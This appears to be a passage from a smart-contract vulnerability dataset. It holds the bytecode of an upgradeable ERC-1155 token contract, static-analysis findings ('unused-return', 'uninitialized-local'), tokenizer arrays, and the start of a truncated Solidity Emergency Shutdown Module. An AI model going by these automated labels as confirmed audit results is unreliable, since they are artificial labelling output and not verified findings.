0x608060405234801561001057600080fd5b506004361061018c5760003560e01c806393e59dc1116100de578063c57dc23511610097578063e985e9c511610071578063e985e9c514610332578063f242432a14610345578063f2fde38b14610358578063f5298aca1461036b5761018c565b8063c57dc235146102f9578063c87b56dd1461030c578063d48e638a1461031f5761018c565b806393e59dc1146102a857806395d89b41146102b0578063a22cb465146102b8578063a6487c53146102cb578063b390c0ab146102de578063c0ac9983146102f15761018c565b80632eb2c2d61161014b5780636b20c454116101255780636b20c45414610265578063715018a614610278578063854cff2f146102805780638da5cb5b146102935761018c565b80632eb2c2d61461021f5780634e1273f41461023257806355f804b3146102525761018c565b80620ed58f14610191578062fdd58e146101af57806301ffc9a7146101c257806306fdde03146101e25780630e89341c146101f75780631c635ded1461020a575b600080fd5b61019961037e565b6040516101a691906131ff565b60405180910390f35b6101996101bd366004612ed4565b610385565b6101d56101d0366004612ff2565b6103dc565b6040516101a691906131a1565b6101ea6103ff565b6040516101a691906131ac565b6101ea610205366004613110565b610497565b61021d6102183660046130c5565b6104a8565b005b61021d61022d366004612d22565b6104c6565b610245610240366004612f33565b6105bd565b6040516101a6919061315d565b61021d61026036600461301a565b6106a8565b61021d610273366004612e31565b610716565b61021d61078f565b61021d61028e366004612cce565b61083b565b61029b6108c0565b6040516101a69190613149565b61029b6108cf565b6101ea6108df565b61021d6102c6366004612ea3565b610941565b61021d6102d936600461304c565b610a30565b61021d6102ec366004613128565b610b26565b6101ea610b35565b610199610307366004613110565b610bc2565b6101ea61031a366004613110565b610bd4565b61029b61032d366004613110565b610edc565b6101d5610340366004612cea565b610ef7565b61021d610353366004612dcb565b610f25565b61021d610366366004612cce565b611015565b61021d610379366004612eff565b611118565b6101035481565b600061039082611192565b6103cb5760405162461bcd60e51b81526004018080602001828103825260348152602001806134b86034913960400191505060405180910390fd5b6103d5838361119f565b9392505050565b6001600160e01b0319811660009081526033602052604090205460ff165b919050565b6101018054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b505050505090505b90565b60606104a282610bd4565b92915050565b6101038054600181019091556104c08184868561120e565b50505050565b6104ce611455565b6001600160a01b0316856001600160a01b0316146105a95761010454604080516378fc3cb360e01b815233600482015290516001600160a01b03909216916378fc3cb3916024808201926020929091908290030181600087803b15801561053457600080fd5b505af1158015610548573d6000803e3d6000fd5b505050506040513d602081101561055e57600080fd5b50516105a9576040805162461bcd60e51b8152602060048201526015602482015274151c985b9cd9995c881b9bdd08185c1c1c9bdd9959605a1b604482015290519081900360640190fd5b6105b68585858585611459565b5050505050565b606081518351146105ff5760405162461bcd60e51b81526004018080602001828103825260298152602001806135b26029913960400191505060405180910390fd5b600083516001600160401b038111801561061857600080fd5b50604051908082528060200260200182016040528015610642578160200160208202803683370190505b50905060005b84518110156106a05761068185828151811061066057fe5b602002602001015185838151811061067457fe5b6020026020010151610385565b82828151811061068d57fe5b6020908102919091010152600101610648565b509392505050565b6106b0611455565b6001600160a01b03166106c16108c0565b6001600160a01b03161461070a576040805162461bcd60e51b81526020600482018190526024820152600080516020613539833981519152604482015290519081900360640190fd5b61071381611757565b50565b61071e611455565b6001600160a01b0316836001600160a01b03161480610744575061074483610340611455565b61077f5760405162461bcd60e51b81526004018080602001828103825260298152602001806133d96029913960400191505060405180910390fd5b61078a838383611808565b505050565b610797611455565b6001600160a01b03166107a86108c0565b6001600160a01b0316146107f1576040805162461bcd60e51b81526020600482018190526024820152600080516020613539833981519152604482015290519081900360640190fd5b60c9546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360c980546001600160a01b0319169055565b610843611455565b6001600160a01b03166108546108c0565b6001600160a01b03161461089d576040805162461bcd60e51b81526020600482018190526024820152600080516020613539833981519152604482015290519081900360640190fd5b61010480546001600160a01b0319166001600160a01b0392909216919091179055565b60c9546001600160a01b031690565b610104546001600160a01b031681565b6101028054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048c5780601f106104615761010080835404028352916020019161048c565b816001600160a01b0316610953611455565b6001600160a01b031614156109995760405162461bcd60e51b81526004018080602001828103825260298152602001806135896029913960400191505060405180910390fd5b80606660006109a6611455565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556109ea611455565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b600054610100900460ff1680610a495750610a49611a76565b80610a57575060005460ff16155b610a925760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015610abd576000805460ff1961ff0019909116610100171660011790555b610ac682611a87565b610ace611b42565b610ad6611bfb565b8351610aea90610101906020870190612b5d565b508251610aff90610102906020860190612b5d565b50600161010355610b0f82611757565b80156104c0576000805461ff001916905550505050565b610b31338383611c98565b5050565b61010080546040805160206002600185161586026000190190941693909304601f81018490048402820184019092528181529291830182828015610bba5780601f10610b8f57610100808354040283529160200191610bba565b820191906000526020600020905b815481529060010190602001808311610b9d57829003601f168201915b505050505081565b600090815260fc602052604090205490565b6060610bdf82611192565b610c1a5760405162461bcd60e51b81526004018080602001828103825260308152602001806135596030913960400191505060405180910390fd5b600082815260fd602090815260408083208054825160026001831615610100026000190190921691909104601f810185900485028201850190935282815292909190830182828015610cad5780601f10610c8257610100808354040283529160200191610cad565b820191906000526020600020905b815481529060010190602001808311610c9057829003601f168201915b50506101008054604080516020601f600260001960018716158802019095169490940493840181900481028201810190925282815296975060009695509193509150830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b820191906000526020600020905b815481529060010190602001808311610d2357829003601f168201915b50505050509050805160001415610d59575090506103fa565b815115610e1a5780826040516020018083805190602001908083835b60208310610d945780518252601f199092019160209182019101610d75565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610ddc5780518252601f199092019160209182019101610dbd565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050506103fa565b80610e2485611ce7565b6040516020018083805190602001908083835b60208310610e565780518252601f199092019160209182019101610e37565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610e9e5780518252601f199092019160209182019101610e7f565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b600090815260fb60205260409020546001600160a01b031690565b6001600160a01b03918216600090815260666020908152604080832093909416825291909152205460ff1690565b610f2d611455565b6001600160a01b0316856001600160a01b0316146110085761010454604080516378fc3cb360e01b815233600482015290516001600160a01b03909216916378fc3cb3916024808201926020929091908290030181600087803b158015610f9357600080fd5b505af1158015610fa7573d6000803e3d6000fd5b505050506040513d6020811015610fbd57600080fd5b5051611008576040805162461bcd60e51b8152602060048201526015602482015274151c985b9cd9995c881b9bdd08185c1c1c9bdd9959605a1b604482015290519081900360640190fd5b6105b68585858585611dc1565b61101d611455565b6001600160a01b031661102e6108c0565b6001600160a01b031614611077576040805162461bcd60e51b81526020600482018190526024820152600080516020613539833981519152604482015290519081900360640190fd5b6001600160a01b0381166110bc5760405162461bcd60e51b815260040180806020018281038252602681526020018061338f6026913960400191505060405180910390fd5b60c9546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360c980546001600160a01b0319166001600160a01b0392909216919091179055565b611120611455565b6001600160a01b0316836001600160a01b03161480611146575061114683610340611455565b6111815760405162461bcd60e51b81526004018080602001828103825260298152602001806133d96029913960400191505060405180910390fd5b61078a838383611c98565b3b151590565b60006104a260fe83611f8c565b60006001600160a01b0383166111e65760405162461bcd60e51b815260040180806020018281038252602b815260200180613364602b913960400191505060405180910390fd5b5060009081526065602090815260408083206001600160a01b03949094168352929052205490565b61121784611192565b15611269576040805162461bcd60e51b815260206004820152601d60248201527f455243313135353a20746f6b656e20616c7265616479206d696e746564000000604482015290519081900360640190fd5b826112bb576040805162461bcd60e51b815260206004820152601960248201527f537570706c792073686f756c6420626520706f73697469766500000000000000604482015290519081900360640190fd5b6000825111611305576040805162461bcd60e51b81526020600482015260116024820152701d5c9a481cda1bdd5b19081899481cd95d607a1b604482015290519081900360640190fd5b600084815260fb6020526040902080546001600160a01b031916339081179091556113349060fe908690611f98565b611385576040805162461bcd60e51b815260206004820152601d60248201527f455243313135353a20746f6b656e20616c7265616479206d696e746564000000604482015290519081900360640190fd5b600084815260fc602052604090208190556113a08483611fb6565b837f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b836040518080602001828103825283818151815260200191508051906020019080838360005b838110156114005781810151838201526020016113e8565b50505050905090810190601f16801561142d5780820380516001836020036101000a031916815260200191505b509250505060405180910390a26104c033858560405180602001604052806000815250611fd5565b3390565b81518351146114995760405162461bcd60e51b81526004018080602001828103825260288152602001806135db6028913960400191505060405180910390fd5b6001600160a01b0384166114de5760405162461bcd60e51b81526004018080602001828103825260258152602001806134336025913960400191505060405180910390fd5b6114e6611455565b6001600160a01b0316856001600160a01b0316148061150c575061150c85610340611455565b6115475760405162461bcd60e51b81526004018080602001828103825260328152602001806134586032913960400191505060405180910390fd5b6000611551611455565b905061156181878787878761174f565b60005b845181101561166757600085828151811061157b57fe5b60200260200101519050600085838151811061159357fe5b60200260200101519050611600816040518060600160405280602a815260200161350f602a91396065600086815260200190815260200160002060008d6001600160a01b03166001600160a01b03168152602001908152602001600020546120d69092919063ffffffff16565b60008381526065602090815260408083206001600160a01b038e811685529252808320939093558a1681522054611637908261216d565b60009283526065602090815260408085206001600160a01b038c1686529091529092209190915550600101611564565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156116ed5781810151838201526020016116d5565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561172c578181015183820152602001611714565b5050505090500194505050505060405180910390a461174f8187878787876121c7565b505050505050565b805161176b90610100906020840190612b5d565b507fec96733b46044f250aa02da367b67f5349b9742717df5406f38f7dd5d2874bc7816040518080602001828103825283818151815260200191508051906020019080838360005b838110156117cb5781810151838201526020016117b3565b50505050905090810190601f1680156117f85780820380516001836020036101000a031916815260200191505b509250505060405180910390a150565b6001600160a01b03831661184d5760405162461bcd60e51b81526004018080602001828103825260238152602001806134ec6023913960400191505060405180910390fd5b805182511461188d5760405162461bcd60e51b81526004018080602001828103825260288152602001806135db6028913960400191505060405180910390fd5b6000611897611455565b90506118b78185600086866040518060200160405280600081525061174f565b60005b83518110156119955761194c8382815181106118d257fe5b60200260200101516040518060600160405280602481526020016133b5602491396065600088868151811061190357fe5b602002602001015181526020019081526020016000206000896001600160a01b03166001600160a01b03168152602001908152602001600020546120d69092919063ffffffff16565b6065600086848151811061195c57fe5b602090810291909101810151825281810192909252604090810160009081206001600160a01b038a1682529092529020556001016118ba565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015611a1c578181015183820152602001611a04565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015611a5b578181015183820152602001611a43565b5050505090500194505050505060405180910390a450505050565b6000611a813061118c565b15905090565b600054610100900460ff1680611aa05750611aa0611a76565b80611aae575060005460ff16155b611ae95760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015611b14576000805460ff1961ff0019909116610100171660011790555b611b1c612446565b611b246124e6565b611b2d82612583565b8015610b31576000805461ff00191690555050565b600054610100900460ff1680611b5b5750611b5b611a76565b80611b69575060005460ff16155b611ba45760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015611bcf576000805460ff1961ff0019909116610100171660011790555b611bd7612446565b611bdf6124e6565b611be7612446565b8015610713576000805461ff001916905550565b600054610100900460ff1680611c145750611c14611a76565b80611c22575060005460ff16155b611c5d5760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015611c88576000805460ff1961ff0019909116610100171660011790555b611c90612446565b611be7612639565b611ca182611192565b611cdc5760405162461bcd60e51b81526004018080602001828103825260318152602001806134026031913960400191505060405180910390fd5b61078a838383612732565b606081611d0c57506040805180820190915260018152600360fc1b60208201526103fa565b8160005b8115611d2457600101600a82049150611d10565b6000816001600160401b0381118015611d3c57600080fd5b506040519080825280601f01601f191660200182016040528015611d67576020820181803683370190505b50859350905060001982015b8315611db857600a840660300160f81b82828060019003935081518110611d9657fe5b60200101906001600160f81b031916908160001a905350600a84049350611d73565b50949350505050565b6001600160a01b038416611e065760405162461bcd60e51b81526004018080602001828103825260258152602001806134336025913960400191505060405180910390fd5b611e0e611455565b6001600160a01b0316856001600160a01b03161480611e345750611e3485610340611455565b611e6f5760405162461bcd60e51b81526004018080602001828103825260298152602001806133d96029913960400191505060405180910390fd5b6000611e79611455565b9050611e99818787611e8a88612865565b611e9388612865565b8761174f565b611ee0836040518060600160405280602a815260200161350f602a913960008781526065602090815260408083206001600160a01b038d16845290915290205491906120d6565b60008581526065602090815260408083206001600160a01b038b81168552925280832093909355871681522054611f17908461216d565b60008581526065602090815260408083206001600160a01b03808b168086529184529382902094909455805188815291820187905280518a8416938616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a461174f8187878787876128aa565b60006103d58383612a1b565b6000611fae84846001600160a01b038516612a33565b949350505050565b600082815260fd60209081526040909120825161078a92840190612b5d565b6001600160a01b03841661201a5760405162461bcd60e51b81526004018080602001828103825260218152602001806136036021913960400191505060405180910390fd5b6000612024611455565b905061203681600087611e8a88612865565b60008481526065602090815260408083206001600160a01b0389168452909152902054612063908461216d565b60008581526065602090815260408083206001600160a01b03808b16808652918452828520959095558151898152928301889052815190948616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a46105b6816000878787876128aa565b600081848411156121655760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561212a578181015183820152602001612112565b50505050905090810190601f1680156121575780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156103d5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6121d9846001600160a01b031661118c565b1561174f57836001600160a01b031663bc197c8187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b03168152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b8381101561226757818101518382015260200161224f565b50505050905001848103835286818151815260200191508051906020019060200280838360005b838110156122a657818101518382015260200161228e565b50505050905001848103825285818151815260200191508051906020019080838360005b838110156122e25781810151838201526020016122ca565b50505050905090810190601f16801561230f5780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b15801561233457600080fd5b505af192505050801561235957506040513d602081101561235457600080fd5b505160015b6123ee5761236561324e565b8061237057506123b7565b60405162461bcd60e51b815260206004820181815283516024840152835184939192839260440191908501908083836000831561212a578181015183820152602001612112565b60405162461bcd60e51b81526004018080602001828103825260348152602001806133086034913960400191505060405180910390fd5b6001600160e01b0319811663bc197c8160e01b1461243d5760405162461bcd60e51b815260040180806020018281038252602881526020018061333c6028913960400191505060405180910390fd5b50505050505050565b600054610100900460ff168061245f575061245f611a76565b8061246d575060005460ff16155b6124a85760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015611be7576000805460ff1961ff0019909116610100171660011790558015610713576000805461ff001916905550565b600054610100900460ff16806124ff57506124ff611a76565b8061250d575060005460ff16155b6125485760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015612573576000805460ff1961ff0019909116610100171660011790555b611be76301ffc9a760e01b612aca565b600054610100900460ff168061259c575061259c611a76565b806125aa575060005460ff16155b6125e55760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff16158015612610576000805460ff1961ff0019909116610100171660011790555b61261982612b4e565b612629636cdb3d1360e11b612aca565b611b2d6303a24d0760e21b612aca565b600054610100900460ff16806126525750612652611a76565b80612660575060005460ff16155b61269b5760405162461bcd60e51b815260040180806020018281038252602e81526020018061348a602e913960400191505060405180910390fd5b600054610100900460ff161580156126c6576000805460ff1961ff0019909116610100171660011790555b60006126d0611455565b60c980546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610713576000805461ff001916905550565b6001600160a01b0383166127775760405162461bcd60e51b81526004018080602001828103825260238152602001806134ec6023913960400191505060405180910390fd5b6000612781611455565b90506127b18185600061279387612865565b61279c87612865565b6040518060200160405280600081525061174f565b6127f8826040518060600160405280602481526020016133b56024913960008681526065602090815260408083206001600160a01b038b16845290915290205491906120d6565b60008481526065602090815260408083206001600160a01b03808a16808652918452828520959095558151888152928301879052815193949093908616927fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6292908290030190a450505050565b6040805160018082528183019092526060916000919060208083019080368337019050509050828160008151811061289957fe5b602090810291909101015292915050565b6128bc846001600160a01b031661118c565b1561174f57836001600160a01b031663f23a6e6187878686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561294b578181015183820152602001612933565b50505050905090810190601f1680156129785780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b15801561299b57600080fd5b505af19250505080156129c057506040513d60208110156129bb57600080fd5b505160015b6129cc5761236561324e565b6001600160e01b0319811663f23a6e6160e01b1461243d5760405162461bcd60e51b815260040180806020018281038252602881526020018061333c6028913960400191505060405180910390fd5b60009081526001919091016020526040902054151590565b600082815260018401602052604081205480612a985750506040805180820182528381526020808201848152865460018181018955600089815284812095516002909302909501918255915190820155865486845281880190925292909120556103d5565b82856000016001830381548110612aab57fe5b90600052602060002090600202016001018190555060009150506103d5565b6001600160e01b03198082161415612b29576040805162461bcd60e51b815260206004820152601c60248201527f4552433136353a20696e76616c696420696e7465726661636520696400000000604482015290519081900360640190fd5b6001600160e01b0319166000908152603360205260409020805460ff19166001179055565b8051610b319060679060208401905b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612b935760008555612bd9565b82601f10612bac57805160ff1916838001178555612bd9565b82800160010185558215612bd9579182015b82811115612bd9578251825591602001919060010190612bbe565b50612be5929150612be9565b5090565b5b80821115612be55760008155600101612bea565b600082601f830112612c0e578081fd5b81356020612c23612c1e8361322b565b613208565b8281528181019085830183850287018401881015612c3f578586fd5b855b85811015612c5d57813584529284019290840190600101612c41565b5090979650505050505050565b600082601f830112612c7a578081fd5b81356001600160401b03811115612c8d57fe5b612ca0601f8201601f1916602001613208565b818152846020838601011115612cb4578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215612cdf578081fd5b81356103d5816132f2565b60008060408385031215612cfc578081fd5b8235612d07816132f2565b91506020830135612d17816132f2565b809150509250929050565b600080600080600060a08688031215612d39578081fd5b8535612d44816132f2565b94506020860135612d54816132f2565b935060408601356001600160401b0380821115612d6f578283fd5b612d7b89838a01612bfe565b94506060880135915080821115612d90578283fd5b612d9c89838a01612bfe565b93506080880135915080821115612db1578283fd5b50612dbe88828901612c6a565b9150509295509295909350565b600080600080600060a08688031215612de2578081fd5b8535612ded816132f2565b94506020860135612dfd816132f2565b9350604086013592506060860135915060808601356001600160401b03811115612e25578182fd5b612dbe88828901612c6a565b600080600060608486031215612e45578283fd5b8335612e50816132f2565b925060208401356001600160401b0380821115612e6b578384fd5b612e7787838801612bfe565b93506040860135915080821115612e8c578283fd5b50612e9986828701612bfe565b9150509250925092565b60008060408385031215612eb5578182fd5b8235612ec0816132f2565b915060208301358015158114612d17578182fd5b60008060408385031215612ee6578182fd5b8235612ef1816132f2565b946020939093013593505050565b600080600060608486031215612f13578081fd5b8335612f1e816132f2565b95602085013595506040909401359392505050565b60008060408385031215612f45578182fd5b82356001600160401b0380821115612f5b578384fd5b818501915085601f830112612f6e578384fd5b81356020612f7e612c1e8361322b565b82815281810190858301838502870184018b1015612f9a578889fd5b8896505b84871015612fc5578035612fb1816132f2565b835260019690960195918301918301612f9e565b5096505086013592505080821115612fdb578283fd5b50612fe885828601612bfe565b9150509250929050565b600060208284031215613003578081fd5b81356001600160e01b0319811681146103d5578182fd5b60006020828403121561302b578081fd5b81356001600160401b03811115613040578182fd5b611fae84828501612c6a565b600080600060608486031215613060578081fd5b83356001600160401b0380821115613076578283fd5b61308287838801612c6a565b94506020860135915080821115613097578283fd5b6130a387838801612c6a565b935060408601359150808211156130b8578283fd5b50612e9986828701612c6a565b6000806000606084860312156130d9578081fd5b83356001600160401b038111156130ee578182fd5b6130fa86828701612c6a565b9660208601359650604090950135949350505050565b600060208284031215613121578081fd5b5035919050565b6000806040838503121561313a578182fd5b50508035926020909101359150565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b8181101561319557835183529284019291840191600101613179565b50909695505050505050565b901515815260200190565b6000602080835283518082850152825b818110156131d8578581018301518582016040015282016131bc565b818111156131e95783604083870101525b50601f01601f1916929092016040019392505050565b90815260200190565b6040518181016001600160401b038111828210171561322357fe5b604052919050565b60006001600160401b0382111561323e57fe5b5060209081020190565b60e01c90565b600060443d101561325e57610494565b600481823e6308c379a06132728251613248565b1461327c57610494565b6040513d600319016004823e80513d6001600160401b0381602484011181841117156132ab5750505050610494565b828401925082519150808211156132c55750505050610494565b503d830160208284010111156132dd57505050610494565b601f01601f1916810160200160405291505090565b6001600160a01b038116811461071357600080fdfe455243313135353a207472616e7366657220746f206e6f6e2045524331313535526563656976657220696d706c656d656e746572455243313135353a204552433131353552656365697665722072656a656374656420746f6b656e73455243313135353a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373455243313135353a206275726e20616d6f756e7420657863656564732062616c616e6365455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243313135354d657461646174613a206275726e20717565727920666f72206e6f6e6578697374656e7420746f6b656e455243313135353a207472616e7366657220746f20746865207a65726f2061646472657373455243313135353a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564455243313135354d657461646174613a2062616c616e636520717565727920666f72206e6f6e6578697374656e7420746f6b656e455243313135353a206275726e2066726f6d20746865207a65726f2061646472657373455243313135353a20696e73756666696369656e742062616c616e636520666f72207472616e736665724f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572455243313135354d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e455243313135353a2073657474696e6720617070726f76616c2073746174757320666f722073656c66455243313135353a206163636f756e747320616e6420696473206c656e677468206d69736d61746368455243313135353a2069647320616e6420616d6f756e7473206c656e677468206d69736d61746368455243313135353a206d696e7420746f20746865207a65726f2061646472657373a2646970667358221220e56ab1698abe0f8356a2d0b456edc75b925fc36329d4105e4f75c6cc9e9f6be564736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 24594, 2575, 2278, 21472, 2094, 2575, 2581, 2683, 2546, 2575, 2050, 22394, 14142, 2050, 2629, 19736, 12521, 26224, 2063, 23777, 2094, 2581, 23833, 2575, 22407, 2050, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 14526, 24087, 1013, 9413, 2278, 14526, 24087, 8022, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 2219, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,067
0x9629cb1f0032088612bd59ddc83957e5cac24918
// Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.6.7; abstract contract ESMThresholdSetter { function recomputeThreshold() virtual public; } abstract contract TokenLike { function totalSupply() virtual public view returns (uint256); function balanceOf(address) virtual public view returns (uint256); function transfer(address, uint256) virtual public returns (bool); function transferFrom(address, address, uint256) virtual public returns (bool); } abstract contract GlobalSettlementLike { function shutdownSystem() virtual public; } contract ESM { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) public isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) public isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "esm/account-not-authorized"); _; } TokenLike public protocolToken; // collateral GlobalSettlementLike public globalSettlement; // shutdown module ESMThresholdSetter public thresholdSetter; // threshold setter address public tokenBurner; // burner uint256 public triggerThreshold; // threshold uint256 public settled; // flag that indicates whether the shutdown module has been called/triggered // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 parameter, uint256 wad); event ModifyParameters(bytes32 parameter, address account); event Shutdown(); event FailRecomputeThreshold(bytes revertReason); constructor( address protocolToken_, address globalSettlement_, address tokenBurner_, address thresholdSetter_, uint256 triggerThreshold_ ) public { require(both(triggerThreshold_ > 0, triggerThreshold_ < TokenLike(protocolToken_).totalSupply()), "esm/threshold-not-within-bounds"); authorizedAccounts[msg.sender] = 1; protocolToken = TokenLike(protocolToken_); globalSettlement = GlobalSettlementLike(globalSettlement_); thresholdSetter = ESMThresholdSetter(thresholdSetter_); tokenBurner = tokenBurner_; triggerThreshold = triggerThreshold_; emit AddAuthorization(msg.sender); emit ModifyParameters(bytes32("triggerThreshold"), triggerThreshold_); emit ModifyParameters(bytes32("thresholdSetter"), thresholdSetter_); } // --- Math --- function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x + y; require(z >= x); } // --- Utils --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Administration --- /* * @notice Modify a uint256 parameter * @param parameter The name of the parameter to change the value for * @param wad The new parameter value */ function modifyParameters(bytes32 parameter, uint256 wad) external { require(settled == 0, "esm/already-settled"); require(either(address(thresholdSetter) == msg.sender, authorizedAccounts[msg.sender] == 1), "esm/account-not-authorized"); if (parameter == "triggerThreshold") { require(both(wad > 0, wad < protocolToken.totalSupply()), "esm/threshold-not-within-bounds"); triggerThreshold = wad; } else revert("esm/modify-unrecognized-param"); emit ModifyParameters(parameter, wad); } /* * @notice Modify an address parameter * @param parameter The parameter name whose value will be changed * @param account The new address for the parameter */ function modifyParameters(bytes32 parameter, address account) external isAuthorized { require(settled == 0, "esm/already-settled"); if (parameter == "thresholdSetter") { thresholdSetter = ESMThresholdSetter(account); // Make sure the update works thresholdSetter.recomputeThreshold(); } else revert("esm/modify-unrecognized-param"); emit ModifyParameters(parameter, account); } /* * @notify Recompute the triggerThreshold using the thresholdSetter */ function recomputeThreshold() internal { if (address(thresholdSetter) != address(0)) { try thresholdSetter.recomputeThreshold() {} catch(bytes memory revertReason) { emit FailRecomputeThreshold(revertReason); } } } /* * @notice Sacrifice tokens and trigger settlement * @dev This can only be done once */ function shutdown() external { require(settled == 0, "esm/already-settled"); recomputeThreshold(); settled = 1; require(protocolToken.transferFrom(msg.sender, tokenBurner, 